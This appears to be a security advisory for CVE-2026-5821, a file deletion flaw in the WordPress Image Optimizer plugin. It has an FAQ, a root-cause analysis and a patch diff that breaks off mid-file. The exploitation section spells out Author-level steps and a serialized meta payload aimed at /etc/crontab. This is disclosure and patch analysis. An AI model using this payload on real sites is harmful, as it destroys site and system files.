What is CVE-2026-5821?

CVE-2026-5821 is a high-severity arbitrary file deletion vulnerability in the Image Optimizer plugin for WordPress, affecting versions up to and including 1.7.4. It allows authenticated attackers with Author-level access to delete arbitrary files on the server by injecting malicious backup paths into post meta fields.

How does the vulnerability work?

The plugin stores backup file paths in the image_optimizer_metadata post meta field and uses them directly in file deletion operations without validating that the paths are within the uploads directory. An attacker can edit this meta field on their own attachments via the Custom Fields interface, injecting arbitrary absolute file paths. When the attachment is deleted, the plugin deletes those files.

Who is affected by this vulnerability?

Any WordPress site running Image Optimizer version 1.7.4 or earlier is affected. The vulnerability can be exploited by authenticated users with Author-level access or higher, meaning any user who can upload and edit attachments is a potential threat.

How can I check if my site is vulnerable?

Check the installed version of the Image Optimizer plugin in your WordPress admin dashboard under Plugins. If the version is 1.7.4 or lower, your site is vulnerable. You can also verify by looking for the file image-optimization/classes/image/image-backup.php and checking if it uses direct File_System::delete() calls without path validation.

What is the CVSS score and what does it mean?

The CVSS score is 8.1, which is classified as High severity. This indicates a significant risk because an attacker can delete critical files like wp-config.php, causing complete site destruction or denial of service. The attack requires authentication but only at the Author level, which is relatively low.

What files can an attacker delete?

An attacker can delete any file that the web server user has write permissions to, including wp-config.php, .htaccess, plugin and theme files, and potentially system files like /etc/crontab. This can lead to site takeover, data loss, or denial of service.

How was the vulnerability fixed in version 1.7.5?

The patch introduces a new class Image_Backup_Path_Validator that validates backup paths by resolving them with realpath() and checking if they reside within the WordPress uploads directory. The vulnerable Image_Backup::remove() function now calls this validator before any file deletion, skipping invalid paths and logging a warning.

How can I mitigate the vulnerability if I cannot update immediately?

As a temporary measure, you can disable the Image Optimizer plugin or restrict Author-level users from editing post meta fields. You can also use a security plugin to monitor file deletions or implement a web application firewall rule to block malicious meta values. However, updating to version 1.7.5 is the recommended fix.

How does the proof of concept demonstrate the exploit?

The proof of concept script logs in as an Author, uploads an attachment, modifies the image_optimizer_metadata meta field to include an arbitrary file path (e.g., /etc/crontab), and then deletes the attachment. This triggers the plugin to delete the specified file, confirming the vulnerability.

What is the root cause of this vulnerability?

The root cause is insufficient path validation in the Image_Backup::remove() function. The plugin trusts backup paths stored in post meta without verifying they are within the uploads directory, allowing attackers to inject arbitrary paths. This is classified under CWE-73 (External Control of File Name or Path).

Are there any prerequisites for exploitation?

Yes, the attacker must have an account with Author-level access or higher on the WordPress site. They also need the ability to upload attachments and edit custom fields, which is available by default to Authors. No other special privileges are required.

What should I do if I suspect my site has been compromised?

Immediately update the Image Optimizer plugin to version 1.7.5 or later. Review your server logs for unusual file deletion activities and check for modified or deleted critical files. Change all user passwords, especially for Author and higher roles, and consider restoring from a backup if necessary.

Published : July 1, 2026

CVE-2026-5821: Image Optimizer <= 1.7.4 Authenticated (Author+) Arbitrary File Deletion via Post Meta Field Injection PoC, Patch Analysis & Rule

CVE ID CVE-2026-5821

Plugin image-optimization

Severity High (CVSS 8.1)

CWE 73

Vulnerable Version 1.7.4

Patched Version 1.7.5

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5821:

This vulnerability allows authenticated attackers with Author-level access to delete arbitrary files on the WordPress server. The Image Optimizer plugin versions up to and including 1.7.4 trust backup file paths stored in post meta without validation. The flaw exists in the Image_Backup::remove() method and the delete_attachment hook handler. The CVSS score is 8.1 (High), classified under CWE-73 (External Control of File Name or Path).

The root cause is insufficient path validation in the Image_Backup::remove() function, located in /image-optimization/classes/image/image-backup.php lines 76-126. The function retrieves backup paths from the ‘image_optimizer_metadata’ post meta field (via Image_Meta) and directly passes them to File_System::delete() on lines 105-106 and 111-113. There is no check to ensure the path falls within the WordPress uploads directory. The vulnerability is triggered on the ‘delete_attachment’ hook. An attacker can edit the ‘image_optimizer_metadata’ meta key on their own attachment posts through WordPress’s Custom Fields interface. By injecting an arbitrary absolute file path (e.g., ‘/etc/passwd’ or ‘/var/www/html/wp-config.php’) into the backups array, the attacker can cause the plugin to delete that file when the attachment is deleted.

To exploit this, an attacker with Author-level access first creates or uploads a new attachment (post type ‘attachment’). They then use WordPress’s Custom Fields meta box (or REST API) to add or modify the ‘image_optimizer_metadata’ meta key. The meta value must be a serialized array with a ‘backups’ key containing arbitrary file paths. For example, meta_value = ‘a:1:{s:7:”backups”;a:1:{s:4:”full”;s:16:”/etc/crontab”;}}’. Finally, the attacker deletes the attachment (trash or force delete) from the Media Library. The plugin’s delete_attachment hook calls Image_Backup::remove(), which reads the malicious backup path and passes it to File_System::delete(), deleting the targeted file.

The patch introduces a new class Image_Backup_Path_Validator in /image-optimization/classes/image/image-backup-path-validator.php. Its resolve() method validates and resolves the backup path. It uses realpath() to resolve symbolic links and then checks whether the resolved path starts with the uploads base directory (wp_upload_dir()[‘basedir’]) using strpos(). If the path does not reside within the uploads directory, resolve() returns null. The patch modifies Image_Backup::remove() (now via delete_backup_file()) and Image_Restore::restore() to call Image_Backup_Path_Validator::resolve() before performing any file operations. If the path is invalid, the operation is skipped with a warning log. The vulnerable direct File_System::delete() calls are replaced with the validated path.

Successful exploitation allows an authenticated attacker with Author access to delete arbitrary files the web server can write to. This includes wp-config.php (site destruction), .htaccess (denial of service), plugin/theme files (disabling security), or system files like /etc/crontab (if permissions allow). The impact ranges from complete site takeover (if wp-config.php is deleted) to permanent data loss.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/image-optimization/assets/build/admin.asset.php
+++ b/image-optimization/assets/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '6a35f37b4e2d1f50f995');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '9b35a867ed303a115b83');
--- a/image-optimization/classes/image/image-backup-path-validator.php
+++ b/image-optimization/classes/image/image-backup-path-validator.php
@@ -0,0 +1,46 @@
+<?php
+
+namespace ImageOptimizationClassesImage;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+class Image_Backup_Path_Validator {
+	/**
+	 * Validates and resolves a backup file path.
+	 *
+	 * @param string $path Backup path stored in attachment meta.
+	 *
+	 * @return string|null Canonical resolved path if valid, null otherwise.
+	 */
+	public static function resolve( string $path ): ?string {
+		if ( '' === $path ) {
+			return null;
+		}
+
+		$resolved_path = realpath( $path );
+
+		if ( false === $resolved_path ) {
+			return null;
+		}
+
+		$upload_dir = wp_upload_dir();
+		$uploads_base = realpath( $upload_dir['basedir'] );
+
+		if ( false === $uploads_base ) {
+			$uploads_base = wp_normalize_path( $upload_dir['basedir'] );
+		} else {
+			$uploads_base = wp_normalize_path( $uploads_base );
+		}
+
+		$resolved_path = wp_normalize_path( $resolved_path );
+		$uploads_prefix = trailingslashit( $uploads_base );
+
+		if ( 0 !== strpos( $resolved_path, $uploads_prefix ) && rtrim( $uploads_base, '/' ) !== $resolved_path ) {
+			return null;
+		}
+
+		return $resolved_path;
+	}
+}
--- a/image-optimization/classes/image/image-backup.php
+++ b/image-optimization/classes/image/image-backup.php
@@ -44,8 +44,7 @@
 		try {
 			File_System::copy( $image_path, $backup_path, true );
 		} catch ( File_System_Operation_Error $e ) {
-			Logger::log(
-				Logger::LEVEL_ERROR,
+			Logger::error(
 				"Error while creating a backup for image {$image_id} and size {$image_size}"
 			);

@@ -97,14 +96,7 @@
 				return false;
 			}

-			try {
-				File_System::delete( $backups[ $image_size ], false, 'f' );
-			} catch ( File_System_Operation_Error $e ) {
-				Logger::log(
-					Logger::LEVEL_ERROR,
-					"Error while removing a backup for image {$image_id} and size {$image_size}"
-				);
-			}
+			self::delete_backup_file( $image_id, $image_size, $backups[ $image_size ] );

 			$meta->remove_image_backup_path( $image_size );
 			$meta->save();
@@ -113,11 +105,7 @@
 		}

 		foreach ( $backups as $image_size => $backup_path ) {
-			try {
-				File_System::delete( $backup_path, false, 'f' );
-			} catch ( File_System_Operation_Error $e ) {
-				Logger::log( Logger::LEVEL_ERROR, "Error while removing backups {$image_id}" );
-			}
+			self::delete_backup_file( $image_id, $image_size, $backup_path );

 			$meta->remove_image_backup_path( $image_size );
 		}
@@ -126,4 +114,24 @@

 		return true;
 	}
+
+	private static function delete_backup_file( int $image_id, string $image_size, string $backup_path ): void {
+		$resolved_path = Image_Backup_Path_Validator::resolve( $backup_path );
+
+		if ( null === $resolved_path ) {
+			Logger::warn(
+				"Skipped removing invalid backup path for image {$image_id} and size {$image_size}"
+			);
+
+			return;
+		}
+
+		try {
+			File_System::delete( $resolved_path, false, 'f' );
+		} catch ( File_System_Operation_Error $fsoe ) {
+			Logger::error(
+				"Error while removing a backup for image {$image_id} and size {$image_size}"
+			);
+		}
+	}
 }
--- a/image-optimization/classes/image/image-restore.php
+++ b/image-optimization/classes/image/image-restore.php
@@ -24,7 +24,7 @@
 			try {
 				self::restore( $image_id, $keep_image_meta );
 			} catch ( Throwable $t ) {
-				Logger::log( Logger::LEVEL_ERROR, 'Bulk images restoring error: ' . $t->getMessage() );
+				Logger::error( 'Bulk images restoring error: ' . $t->getMessage() );

 				( new Image_Meta( $image_id ) )
 				->set_status( Image_Status::RESTORING_FAILED )
@@ -53,14 +53,25 @@
 			$current_path = $image->get_file_path( $image_size );

 			if ( $backup_path && $current_path ) {
-				$original_path = self::get_path_from_backup_path( $backup_path );
+				$resolved_backup_path = Image_Backup_Path_Validator::resolve( $backup_path );
+
+				if ( null === $resolved_backup_path ) {
+					Logger::warn(
+						"Skipped restoring invalid backup path for image {$image_id} and size {$image_size}"
+					);
+
+					continue;
+				}
+
+				$original_path = self::get_path_from_backup_path( $resolved_backup_path );
+
+				if ( $original_path === $resolved_backup_path ) {

-				if ( $original_path === $backup_path ) {
 					File_System::delete( $current_path, false, 'f' );

 					self::update_posts( $current_path, $original_path );
 				} else {
-					File_System::move( $backup_path, $original_path, $original_path === $current_path );
+					File_System::move( $resolved_backup_path, $original_path, $original_path === $current_path );

 					if ( $original_path !== $current_path ) {
 						File_System::delete( $current_path, false, 'f' );
--- a/image-optimization/image-optimization.php
+++ b/image-optimization/image-optimization.php
@@ -3,7 +3,7 @@
  * Plugin Name: Image Optimizer - Compress, Resize and Optimize Images
  * Description: Automatically resize, optimize, and convert images to WebP and AVIF. Compress images in bulk or on upload to boost your WordPress site performance.
  * Plugin URI: https://go.elementor.com/wp-repo-description-tab-io-product-page/
- * Version: 1.7.4
+ * Version: 1.7.5
  * Author: Elementor.com
  * Author URI: https://go.elementor.com/author-uri-io/
  * Text Domain: image-optimization
@@ -27,7 +27,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'IMAGE_OPTIMIZATION_VERSION', '1.7.4' );
+define( 'IMAGE_OPTIMIZATION_VERSION', '1.7.5' );
 define( 'IMAGE_OPTIMIZATION_FILE', __FILE__ );
 define( 'IMAGE_OPTIMIZATION_PATH', plugin_dir_path( IMAGE_OPTIMIZATION_FILE ) );
 define( 'IMAGE_OPTIMIZATION_URL', plugins_url( '/', IMAGE_OPTIMIZATION_FILE ) );
--- a/image-optimization/modules/core/module.php
+++ b/image-optimization/modules/core/module.php
@@ -418,7 +418,7 @@

 						link.href = '<?php echo esc_js( $page_url ); ?>';
 						link.innerText = '<?php echo esc_js( __( 'Bulk Optimization', 'image-optimization' ) ); ?>';
-						link.className = 'button is-primary image-optimizer__button image-optimizer__button--pink';
+						link.className = 'button button-compact is-primary image-optimizer__button image-optimizer__button--pink';

 						targetButton.insertAdjacentElement( 'afterend', link );
 					}
--- a/image-optimization/modules/optimization/templates/meta-box/error.php
+++ b/image-optimization/modules/optimization/templates/meta-box/error.php
@@ -51,10 +51,7 @@
 				<?php esc_html_e( 'Try again', 'image-optimization' ); ?>
 			</button>
 			<?php
-		} elseif ( isset( $args['images_left'] ) && 0 === $args['images_left'] ) {
-			if ( Core_Module::is_elementor_one() ) {
-				return;
-			}
+		} elseif ( isset( $args['images_left'] ) && 0 === $args['images_left'] && ! Core_Module::is_elementor_one() ) {
 			?>
 			<a class="button button-secondary button-large image-optimization-control__button"
 				 href="<?php echo esc_url( Utils::get_upgrade_link( 'https://go.elementor.com/io-panel-upgrade/' ) ); ?>"
--- a/image-optimization/modules/settings/banners/birthday-banner.php
+++ b/image-optimization/modules/settings/banners/birthday-banner.php
@@ -1,150 +0,0 @@
-<?php
-
-namespace ImageOptimizationModulesSettingsBanners;
-
-use ImageOptimizationModulesCoreComponentsPointers;
-use Throwable;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-/**
- * Sale_Banner
- */
-class Birthday_Banner {
-	const BANNER_POINTER_NAME = 'image_optimizer_birthday_2025_banner';
-	const POINTER_ACTION = 'image_optimizer_pointer_dismissed';
-	const POINTER_NONCE_KEY = 'image-optimization-pointer-dismissed';
-
-	public static function is_sale_time(): bool {
-		$sale_start_time = gmmktime( 16, 0, 0, 6, 10, 2025 );
-		$sale_end_time = gmmktime( 23, 59, 0, 6, 17, 2025 );
-
-		$now_time = gmdate( 'U' );
-
-		return $now_time >= $sale_start_time && $now_time <= $sale_end_time;
-	}
-
-	public static function user_viewed_banner(): bool {
-		return Pointers::is_dismissed( self::BANNER_POINTER_NAME );
-	}
-
-	/**
-	 * Get banner markup
-	 * @throws Throwable
-	 */
-	public static function get_banner( string $link ) {
-		if ( ! self::is_sale_time() || self::user_viewed_banner() ) {
-			return;
-		}
-		$img = plugins_url( '/images/birthday-banner-io-2025.png', __FILE__ );
-		$url = admin_url( 'admin-ajax.php' );
-		$nonce = wp_create_nonce( self::POINTER_NONCE_KEY );
-
-		?>
-			<div class="io-birthday-banner">
-				<div class="io-birthday-banner-container">
-					<img src="<?php echo esc_url( $img ); ?>" alt="Image Optimizer birthday banner image">
-					<a href="<?php echo esc_url( $link ); ?>" target="_blank">
-						Get Discount
-					</a>
-				</div>
-				<button>
-					<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
-						<path fill-rule="evenodd" clip-rule="evenodd" d="M13.2803 1.28033C13.5732 0.987437 13.5732 0.512563 13.2803 0.21967C12.9874 -0.0732233 12.5126 -0.0732233 12.2197 0.21967L6.75 5.68934L1.28033 0.21967C0.987437 -0.0732233 0.512563 -0.0732233 0.21967 0.21967C-0.0732233 0.512563 -0.0732233 0.987437 0.21967 1.28033L5.68934 6.75L0.21967 12.2197C-0.0732233 12.5126 -0.0732233 12.9874 0.21967 13.2803C0.512563 13.5732 0.987437 13.5732 1.28033 13.2803L6.75 7.81066L12.2197 13.2803C12.5126 13.5732 12.9874 13.5732 13.2803 13.2803C13.5732 12.9874 13.5732 12.5126 13.2803 12.2197L7.81066 6.75L13.2803 1.28033Z" fill="white"/>
-					</svg>
-				</button>
-			</div>
-			<style>
-				.io-birthday-banner {
-					overflow: hidden;
-					margin-inline-start: -20px;
-					background: #ff7be5;
-
-					display: flex;
-					flex-direction: row;
-				}
-
-				.rtl .io-birthday-banner {
-					flex-direction: row-reverse;
-				}
-				.io-birthday-banner-container {
-					position: relative;
-					width: 100%;
-					max-width: 1200px;
-					margin: 0 auto;
-					display: flex;
-					justify-content: end;
-					align-items: center;
-					direction: ltr;
-					height: 80px;
-				}
-				.io-birthday-banner img {
-					position: absolute;
-					left: 0;
-					top: 50%;
-					transform: translateY(-50%);
-					width: 100%;
-				}
-				.io-birthday-banner a {
-					position: relative;
-					display: inline-block;
-					padding: 12px 24px;
-					font-size: 18px;
-					color: #fff;
-					background-color: #000;
-					text-decoration: none;
-					z-index: 2;
-				}
-				.io-birthday-banner button {
-					position: relative;
-					border: none;
-					background: none;
-					padding: 12px;
-					margin: 0 24px;
-					cursor: pointer;
-					z-index: 2;
-				}
-				@media (max-width: 768px) {
-					.io-birthday-banner a {
-						padding: 6px 12px;
-						font-size: 14px;
-					}
-					.io-birthday-banner button {
-						margin: 0 12px;
-					}
-				}
-			</style>
-			<script>
-				document.addEventListener('DOMContentLoaded', function () {
-					const banner = document.querySelector('.io-birthday-banner');
-					const button = document.querySelector('.io-birthday-banner button');
-
-					const requestData = {
-						action: "<?php echo esc_js( self::POINTER_ACTION ); ?>",
-						nonce: "<?php echo esc_js( $nonce ); ?>",
-						data: {
-							pointer: "<?php echo esc_js( self::BANNER_POINTER_NAME ); ?>",
-						}
-					};
-
-					if (button) {
-						button.addEventListener('click', function () {
-							jQuery.ajax(
-								{
-									url: '<?php echo esc_js( $url ); ?>',
-									method: 'POST',
-									data: requestData,
-									success: () => banner.remove(),
-									error: (error) => console.error('Error:', error),
-								}
-							);
-						});
-					}
-				});
-
-			</script>
-		<?php
-	}
-}
--- a/image-optimization/modules/settings/banners/elementor-birthday-banner.php
+++ b/image-optimization/modules/settings/banners/elementor-birthday-banner.php
@@ -0,0 +1,151 @@
+<?php
+
+namespace ImageOptimizationModulesSettingsBanners;
+
+use ImageOptimizationModulesCoreComponentsPointers;
+use Throwable;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+/**
+ * Elementor_Birthday_Banner
+ */
+class Elementor_Birthday_Banner {
+	const BANNER_POINTER_NAME = 'image_optimizer_birthday_sale_banner';
+	const POINTER_ACTION = 'image_optimizer_pointer_dismissed';
+	const POINTER_NONCE_KEY = 'image-optimization-pointer-dismissed';
+
+	public static function is_sale_time(): bool {
+		$sale_start_time = gmmktime( 9, 30, 0, 6, 15, 2026 );
+		$sale_end_time = gmmktime( 6, 59, 59, 6, 18, 2026 );
+
+		$now_time = gmdate( 'U' );
+
+		return $now_time >= $sale_start_time && $now_time <= $sale_end_time;
+	}
+
+	public static function user_viewed_banner(): bool {
+		return Pointers::is_dismissed( self::BANNER_POINTER_NAME );
+	}
+
+	/**
+	 * Get banner markup
+	 * @throws Throwable
+	 */
+	public static function get_banner( string $link ) {
+		if ( ! self::is_sale_time() ) {
+			return;
+		}
+
+		if ( self::user_viewed_banner() ) {
+			return;
+		}
+
+		$img = plugins_url( '/images/elementor-birthday-banner.jpg', __FILE__ );
+		$url = admin_url( 'admin-ajax.php' );
+		$nonce = wp_create_nonce( self::POINTER_NONCE_KEY );
+		?>
+			<div class="elementor-birthday-banner" role="region" aria-label="<?php esc_attr_e( 'Elementor birthday sale', 'image-optimization' ); ?>">
+				<div class="elementor-birthday-banner-container">
+					<p><span><?php esc_html_e( 'Celebrate Elementor’s 10th birthday', 'image-optimization' ); ?></span> | <?php esc_html_e( 'Up to 30% off', 'image-optimization' ); ?></p>
+					<a href="<?php echo esc_url( $link ); ?>" target="_blank"><?php esc_html_e( 'Get discounts', 'image-optimization' ); ?></a>
+				</div>
+				<button type="button" aria-label="<?php esc_attr_e( 'Dismiss', 'image-optimization' ); ?>">
+					<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
+						<path clip-rule="evenodd" fill-rule="evenodd" fill="#212121" d="M13.2803 1.28033C13.5732 0.987437 13.5732 0.512563 13.2803 0.21967C12.9874 -0.0732233 12.5126 -0.0732233 12.2197 0.21967L6.75 5.68934L1.28033 0.21967C0.987437 -0.0732233 0.512563 -0.0732233 0.21967 0.21967C-0.0732233 0.512563 -0.0732233 0.987437 0.21967 1.28033L5.68934 6.75L0.21967 12.2197C-0.0732233 12.5126 -0.0732233 12.9874 0.21967 13.2803C0.512563 13.5732 0.987437 13.5732 1.28033 13.2803L6.75 7.81066L12.2197 13.2803C12.5126 13.5732 12.9874 13.5732 13.2803 13.2803C13.5732 12.9874 13.5732 12.5126 13.2803 12.2197L7.81066 6.75L13.2803 1.28033Z"/>
+					</svg>
+				</button>
+			</div>
+			<style>
+				.elementor-birthday-banner {
+					position: relative;
+					min-height: 48px;
+					display: flex;
+					margin-inline-start: -20px;
+					margin-block-start: -48px;
+					z-index: 9999;
+					background-image: url('<?php echo esc_url( $img ); ?>');
+					background-size: cover;
+					background-position: center;
+					background-repeat: no-repeat;
+				}
+
+				.elementor-birthday-banner-container {
+					max-width: 1200px;
+					margin: 0 auto;
+					display: flex;
+					justify-content: center;
+					align-items: center;
+					gap: 20px;
+				}
+
+				.elementor-birthday-banner p {
+					margin: 0;
+					color: #2A0624;
+					font-size: 16px;
+					font-style: normal;
+					font-weight: 400;
+					font-feature-settings: 'liga' off, 'clig' off;
+					line-height: 1.4;
+				}
+
+				.elementor-birthday-banner p span {
+					font-weight: 700;
+				}
+
+				.elementor-birthday-banner a {
+					padding: 4px 16px;
+					border-radius: 6px;
+					background-color: #212121;
+					color: #fff;
+					font-size: 14px;
+					font-weight: 500;
+					font-feature-settings: 'liga' off, 'clig' off;
+					line-height: 1.4;
+					text-decoration: none;
+					text-align: center;
+				}
+
+				.elementor-birthday-banner button {
+					background: none;
+					border: none;
+					padding: 12px;
+					margin: 0 24px;
+					cursor: pointer;
+					float: inline-end;
+					line-height: 0;
+				}
+			</style>
+			<script>
+				document.addEventListener('DOMContentLoaded', function () {
+					const banner = document.querySelector('.elementor-birthday-banner');
+					const button = document.querySelector('.elementor-birthday-banner button');
+
+					const requestData = {
+						action: "<?php echo esc_js( self::POINTER_ACTION ); ?>",
+						nonce: "<?php echo esc_js( $nonce ); ?>",
+						data: {
+							pointer: "<?php echo esc_js( self::BANNER_POINTER_NAME ); ?>",
+						}
+					};
+
+					if (button) {
+						button.addEventListener('click', function () {
+							jQuery.ajax(
+								{
+									url: '<?php echo esc_js( $url ); ?>',
+									method: 'POST',
+									data: requestData,
+									success: () => banner.remove(),
+									error: (error) => console.error('Error:', error),
+								}
+							);
+						});
+					}
+				});
+			</script>
+		<?php
+	}
+}
--- a/image-optimization/modules/settings/banners/one-million-installs-banner.php
+++ b/image-optimization/modules/settings/banners/one-million-installs-banner.php
@@ -1,155 +0,0 @@
-<?php
-
-namespace ImageOptimizationModulesSettingsBanners;
-
-use ImageOptimizationModulesCoreComponentsPointers;
-use Throwable;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-class One_Million_Installs_Banner {
-	const BANNER_POINTER_NAME = 'image_optimizer_one_million_installs_banner';
-	const POINTER_ACTION = 'image_optimizer_pointer_dismissed';
-	const POINTER_NONCE_KEY = 'image-optimization-pointer-dismissed';
-
-	public static function is_sale_time(): bool {
-		$sale_start_time = gmmktime( 0, 0, 0, 4, 8, 2025 );
-		$sale_end_time = gmmktime( 23, 59, 59, 4, 30, 2025 );
-
-		$now_time = gmdate( 'U' );
-
-		return $now_time >= $sale_start_time && $now_time <= $sale_end_time;
-	}
-
-	public static function user_viewed_banner(): bool {
-		return Pointers::is_dismissed( self::BANNER_POINTER_NAME );
-	}
-
-	/**
-	 * Get banner markup
-	 * @throws Throwable
-	 */
-	public static function get_banner( string $link ) {
-		if ( ! self::is_sale_time() || self::user_viewed_banner() ) {
-			return;
-		}
-
-		$img = plugins_url( '/images/one-million-installs-banner.jpg', __FILE__ );
-		$url = admin_url( 'admin-ajax.php' );
-		$nonce = wp_create_nonce( self::POINTER_NONCE_KEY );
-		?>
-
-		<div class="elementor-io-banner">
-			<div class="elementor-io-banner-container">
-				<img src="<?php echo esc_url( $img ); ?>" alt="One million installs banner">
-
-				<a href="<?php echo esc_url( $link ); ?>" target="_blank">
-					Claim discount
-				</a>
-
-				<button>
-					<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg">
-						<path fill-rule="evenodd"
-									clip-rule="evenodd"
-									d="M13.2803 1.28033C13.5732 0.987437 13.5732 0.512563 13.2803 0.21967C12.9874 -0.0732233 12.5126 -0.0732233 12.2197 0.21967L6.75 5.68934L1.28033 0.21967C0.987437 -0.0732233 0.512563 -0.0732233 0.21967 0.21967C-0.0732233 0.512563 -0.0732233 0.987437 0.21967 1.28033L5.68934 6.75L0.21967 12.2197C-0.0732233 12.5126 -0.0732233 12.9874 0.21967 13.2803C0.512563 13.5732 0.987437 13.5732 1.28033 13.2803L6.75 7.81066L12.2197 13.2803C12.5126 13.5732 12.9874 13.5732 13.2803 13.2803C13.5732 12.9874 13.5732 12.5126 13.2803 12.2197L7.81066 6.75L13.2803 1.28033Z"
-									fill="white"/>
-					</svg>
-				</button>
-			</div>
-		</div>
-
-		<style>
-			.elementor-io-banner {
-				overflow: hidden;
-				margin-left: -20px;
-				background: #05047e;
-			}
-
-			.elementor-io-banner-container {
-				position: relative;
-				max-width: 1200px;
-				margin: 0 auto;
-				display: flex;
-				justify-content: end;
-				align-items: center;
-				direction: ltr;
-				height: 80px;
-			}
-
-			.elementor-io-banner img {
-				position: absolute;
-				left: 0;
-				top: 50%;
-				transform: translateY(-50%);
-				width: 100%;
-			}
-
-			.elementor-io-banner a {
-				position: relative;
-				display: inline-block;
-				padding: 12px 24px;
-				font-size: 18px;
-				color: #000;
-				background-color: #ff7be5;
-				text-decoration: none;
-				z-index: 2;
-			}
-
-			.elementor-io-banner button {
-				position: relative;
-				border: none;
-				background: none;
-				padding: 12px;
-				margin: 0 24px;
-				cursor: pointer;
-				z-index: 2;
-			}
-
-			@media (max-width: 1170px) {
-				.elementor-io-banner a {
-					padding: 6px 12px;
-					font-size: 14px;
-				}
-			}
-
-			@media (max-width: 845px) {
-				.elementor-io-banner button {
-					margin: 0 6px;
-				}
-			}
-		</style>
-
-		<script>
-			document.addEventListener('DOMContentLoaded', function () {
-				const banner = document.querySelector('.elementor-io-banner');
-				const button = document.querySelector('.elementor-io-banner button');
-
-				const requestData = {
-					action: "<?php echo esc_js( self::POINTER_ACTION ); ?>",
-					nonce: "<?php echo esc_js( $nonce ); ?>",
-					data: {
-						pointer: "<?php echo esc_js( self::BANNER_POINTER_NAME ); ?>",
-					}
-				};
-
-				if (button) {
-					button.addEventListener('click', function () {
-						jQuery.ajax(
-							{
-								url: '<?php echo esc_js( $url ); ?>',
-								method: 'POST',
-								data: requestData,
-								success: () => banner.remove(),
-								error: (error) => console.error('Error:', error),
-							}
-						);
-					});
-				}
-			});
-
-		</script>
-		<?php
-	}
-}
--- a/image-optimization/modules/settings/module.php
+++ b/image-optimization/modules/settings/module.php
@@ -5,9 +5,8 @@
 use ImageOptimizationClassesImageImage_Conversion_Option;
 use ImageOptimizationClassesModule_Base;
 use ImageOptimizationModulesSettings{
-	BannersOne_Million_Installs_Banner,
 	BannersSale_Banner,
-	BannersBirthday_Banner,
+	BannersElementor_Birthday_Banner,
 	ClassesSettings,
 };
 use ImageOptimizationModulesStatsClassesOptimization_Stats;
@@ -100,8 +99,7 @@
 	public function render_app() {
 		?>
 		<?php Sale_Banner::get_banner( 'https://go.elementor.com/IO-BF-sale' ); ?>
-		<?php One_Million_Installs_Banner::get_banner( 'https://go.elementor.com/io-1m-banner-upgrade/' ); ?>
-		<?php Birthday_Banner::get_banner( 'https://go.elementor.com/io-b-day-banner' ); ?>
+		<?php Elementor_Birthday_Banner::get_banner( 'https://go.elementor.com/IO-10th-bd-sale' ); ?>

 		<!-- The hack required to wrap WP notifications -->
 		<div class="wrap">
--- a/image-optimization/vendor/autoload.php
+++ b/image-optimization/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit3f788059a7e8b2f875a2ca5524591a10::getLoader();
+return ComposerAutoloaderInitf50187bd650e25c9ade76b058766d871::getLoader();
--- a/image-optimization/vendor/composer/autoload_real.php
+++ b/image-optimization/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit3f788059a7e8b2f875a2ca5524591a10
+class ComposerAutoloaderInitf50187bd650e25c9ade76b058766d871
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit3f788059a7e8b2f875a2ca5524591a10', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitf50187bd650e25c9ade76b058766d871', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit3f788059a7e8b2f875a2ca5524591a10', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitf50187bd650e25c9ade76b058766d871', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit3f788059a7e8b2f875a2ca5524591a10::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitf50187bd650e25c9ade76b058766d871::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit3f788059a7e8b2f875a2ca5524591a10::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitf50187bd650e25c9ade76b058766d871::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/image-optimization/vendor/composer/autoload_static.php
+++ b/image-optimization/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit3f788059a7e8b2f875a2ca5524591a10
+class ComposerStaticInitf50187bd650e25c9ade76b058766d871
 {
     public static $files = array (
         '9db71c6726821ac61284818089584d23' => __DIR__ . '/..' . '/elementor/wp-one-package/runner.php',
@@ -31,9 +31,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit3f788059a7e8b2f875a2ca5524591a10::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit3f788059a7e8b2f875a2ca5524591a10::$prefixDirsPsr4;
